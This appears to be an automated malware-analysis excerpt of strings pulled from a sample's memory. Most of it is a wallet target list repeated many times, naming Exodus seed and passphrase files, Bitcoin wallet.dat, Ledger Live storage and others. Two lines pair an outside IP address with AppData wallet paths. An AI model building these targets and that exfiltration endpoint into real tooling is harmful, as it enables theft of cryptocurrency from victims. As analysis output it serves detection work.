Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16fons\AppData\Roaming\Binance\simple-storage.json
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16\AppData\Roaming\\Coinomi\Coinomi\wallets\\.
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo 